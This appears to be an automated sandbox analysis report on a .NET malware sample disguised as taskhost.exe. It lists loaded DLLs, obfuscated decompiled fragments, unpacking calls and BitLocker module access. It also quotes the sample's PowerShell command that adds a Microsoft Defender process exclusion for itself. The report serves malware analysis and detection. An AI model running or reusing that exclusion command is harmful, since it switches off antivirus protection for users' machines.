Source: C:\Users\user\Desktop\taskhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhost.exe'	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: taskhost.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: taskhost.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{sEFvf3apOKFrWiDqQQ2als0gAqTnCKWBh7tmgqnLrABeMQP9360ACBkmbM03Ec0wzW8lxVEcdi6O.PC5D3AH6tuXRotu8IH0RnzqU14sMCJIEiBeqij5WolE1gqquRDeAiEwLJbNcSvoog6ZAltqQMpaC,sEFvf3apOKFrWiDqQQ2als0gAqTnCKWBh7tmgqnLrABeMQP9360ACBkmbM03Ec0wzW8lxVEcdi6O.buw4ivSAb3VNgV9p349EFpL0gCHe6RbBewKZcREY3YjmKmT62Q4gYl6nKomu8JaTME1yHWmOQuh5,sEFvf3apOKFrWiDqQQ2als0gAqTnCKWBh7tmgqnLrABeMQP9360ACBkmbM03Ec0wzW8lxVEcdi6O.uJShferxaWFgJZzbUKy,sEFvf3apOKFrWiDqQQ2als0gAqTnCKWBh7tmgqnLrABeMQP9360ACBkmbM03Ec0wzW8lxVEcdi6O.FzTkTdS1S1vDpbQETHA,iN2F6NEn5nlUN46FY0x.qRrXbbBYsCZGZM6BTD0()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_5sTQSKTYXFyiEuPTdmR[2],iN2F6NEn5nlUN46FY0x.kC4NXYtx6gAapb25M0YXRtcJwNQcqiNQcaIXyxW0z5ZLD6Fql1a(iN2F6NEn5nlUN46FY0x.HdIP7B2vXlxGQRAxqcy(_5sTQSKTYXFyiEuPTdmR[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _5sTQSKTYXFyiEuPTdmR[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: z3vMjvLlI7N8qJTx34R System.AppDomain.Load(byte[])
Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: FGUF8oXp0910CRBIyZG System.AppDomain.Load(byte[])
Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	.Net Code: FGUF8oXp0910CRBIyZG

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC7BD2A5 pushad ; iretd	8_2_00007FFAAC7BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC8D5CD3 push ebp; ret	8_2_00007FFAAC8D5D02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC8D6CC3 pushfd ; ret	8_2_00007FFAAC8D6CD2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC8D00BD pushad ; iretd	8_2_00007FFAAC8D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC8D5C83 push edx; ret	8_2_00007FFAAC8D5CA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC8D5825 push ss; ret	8_2_00007FFAAC8D583A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC9A2316 push 8B485F95h; iretd	8_2_00007FFAAC9A231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC7ED2A5 pushad ; iretd	12_2_00007FFAAC7ED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC9011F8 push E95C1A05h; ret	12_2_00007FFAAC901239
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC9D2316 push 8B485F92h; iretd	12_2_00007FFAAC9D231B

Source: taskhost.exe, sEFvf3apOKFrWiDqQQ2als0gAqTnCKWBh7tmgqnLrABeMQP9360ACBkmbM03Ec0wzW8lxVEcdi6O.cs	High entropy of concatenated method names: 'HNKgoSqfXDFgAAomY5qKW6LSxMQAKzYyQImj', 'JKHT84pzNR2DnfbveVUQGAzry0dzKSTj1r1K', 'Rjj22TeF3yp3c8hikXWX8KI9JsQQbNBHFGzz', 'UWHi1BwSgwYkPs5nBFEVFsMnaSqlvGAd7o9C'
Source: taskhost.exe, OqDiOCdcmoNNeF3Lng5g13fL2390VDKQss8cbI5uuO1mptBsgW9.cs	High entropy of concatenated method names: 'ifT55Pl4YooBFVBuMQUsvqd9cz5dodP0er6jG0klcqeLznmVPH6', 'nS4lJLwJWuYrlTNJuSNWGX7klfEva4Ug2D2L1GBXEJiQIudZRnN', 'vhFwAnwZcqaad0YKjzppAy7IcRapfRPauwObixT6YJcLjEWTyjC', '_6X2lkcmBbCA', 'mE52r1rux93', 'LCyVRKzTgBr', 'N8IQuFTB0bb', 'nkUI1Sugef1', 'eKrWWwLC5NS', 'buP8z7BEGT3'
Source: taskhost.exe, s7aLsrPQnfoFRxAZGIeX1EsSxoOonLrIoQYNbnkvux36CXVya6wFudOXeeYKdMMqtxEyrsx9rgQb.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'hzRgDzLJB4imgOWXNCH3uvEdzpTjYmjmCaLE', 'bo0VwdbIZ9TyISQbhcmOnChtYpmS3Alzg4RR', '_2jn607Dvwbex3CDqQ0PKNkzWqC3tKTU2m7BI', 'UbLRPOAgmVHxM98qzG4mHuvjcYMqy3XljuPo'
Source: taskhost.exe, iN2F6NEn5nlUN46FY0x.cs	High entropy of concatenated method names: 'lFEzpPGs6abWTkcRyVJ', 'fSzKJKB533zjRFJRlDG', 'HqZeA3eIFOV9J0oL9cq', 'satU8AmmlebvtiZGYIS', 'RksP8oUmHkEgd7qQ1JE', 'kbrnJQY7I83iltSgAEx', 'ENhPvHmIhnvDHvbBrso', 'DuAwFO0stKS1dZgQnL9', 'uQcDCv49ewCCg5ypeFM', 'HdIP7B2vXlxGQRAxqcy'
Source: taskhost.exe, VpjB0nPRwGHi6IjtbgB.cs	High entropy of concatenated method names: 'o2U0oSHAwkKnZ8K0IGJ', 'Gxl5yZYcuPScTXjyO8y', 'tsrKDX8E5j01b9rnIj8', '_5JaYwpN4HZQyw5HbZa0IVuweDK13fVVPjzmH5EAYtoXCANA9a8cpr756iRI4zIZs0yas', 'jtHZJQPTAdqqE8S1PhG3Jmow7iPfHOfG6rU9R5JZoMONUN8PgHzapkKsav5INIsLu3so', 'JtMWevypgV5miUK8Wxe3wxViJTZOFFvy0lO5rEtd2OIRwVxqfZ3sFn2oo40XwAr1LfNC', 'sqr6CGijo2UdiqX6rDMJMH742QRMbnNr75bFGUJHgCk7fSCHgdIHu82FeKhlfKT7LLWL', 'nvZLkCQryAbVcXNMP0uwlUV0eMUtNNYwmEB4oWtZzj7pVoipzNiCGitSWZS4buyEc3tP', 'tGqDHxpOOLNqnP0qqXPZo7gmaaY0KoPUwPZEUUydZi5xyGNBlJ2Wf5AgG0s3Gi49fZ81', 'sX7hbNvBhaBfptapK8MLVyKHlbz4hBGRj0yzueV49EXRegaGChb0QjcJnNKd5fUVfM0b'
Source: taskhost.exe, kXNV4l1kbGO7mIIf8tC.cs	High entropy of concatenated method names: 'QJDLIojFbJ9XSi4NGq1', 'thj6nBWagYd1jm0dXse7pqZP7HEPxigUD1Do', 'B01YQJBousC62xH9occDmOx0ftd0SnXHUHeh', 'D4pTkswiKSscBBxcZnZwWltBNPDYcGkyMl0t', 'iv8PcqxZKo7WCYuss0m4cz66dsW0uIXHXvql'
Source: taskhost.exe, C27zjw0Ge3o2Fhymu20.cs	High entropy of concatenated method names: 'ncr50XK6P6vIKBgBYUa', 'z3vMjvLlI7N8qJTx34R', 'AMzTL83ttqO4ZdgGV6p', 'Dy9tPqtO2UbiDgOq0Dy', 'FGuQmIqHcZHUW3brVlP', 'FsC5B7v16qhD5nVUO4v', 'vPzdW2e4TKfiX2DnRTp', 'LgRKRzCT9c9f9rKVtyB', '_1t9p89zaqoRxKQ7OamR', '_73VShCOEmFwzp6UqElB'
Source: taskhost.exe, qFETamjqJa2miE31ri1.cs	High entropy of concatenated method names: 'lQiIh6BLc7tSlUluaSA', 'PyTdpnR6k7m7yjLKgZN', 'CWZACpvUc2h261lOyIN', 'NIwJJXtlIwfGMml2Rto', '_0CqqjfA0mWNBmVEyTWQ', 'wEYjQ6nJ9c6oyOZKlDT', 'ZPNORz244Ye1oRuLdET', 'pIRI5QHfL8bpXupNQdo', 'MOhfx7vZ4QwA6Tlcyg9', '_4hIgkUjE0BXivV2AhnI'
Source: taskhost.exe, pS1f3L7Tm54SySzhRUj.cs	High entropy of concatenated method names: 'QUqP4d8otfu9HWNpBls', '_6LuSEAEISBwLu0RLWIh', 'eUabJsvqAk9609BoQ0a', 'eNWYEqvhyx9wb8hZYxF', 'kpJPoYvpokte3M8mHAU', 'LjL1wy1h0pGPiSgb9t3', 'JNuWoH2GRO3mmTSnUrD', 'DGNl25PpNFuWoY2UbNJ', 'ShaDzlQ53EOwZQrT67N', '_7pO5RvGBbPGfE9iiDqj'
Source: taskhost.exe, OuHtkL8kTukB8RkZJZG.cs	High entropy of concatenated method names: 'JaR5dLVpdVP7zgWwLGb', 'ffktV4PwEO0w1g7g7hy', 'enGisRQN8pBd0ND09m9', 'CovhPbfX2lRv2FWc62w', 'enMkmqGaO1wWTSaCcAi', '_96McAlIo4dPCMozE2S0', 'TmFtWDuJh6U9jMRPQ9s', 'huZhpejjlbxj21jPTZH', 'SE1B5WSMWArLijSKjId', '_5hTOVtTiIZJhkq2J9DS'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
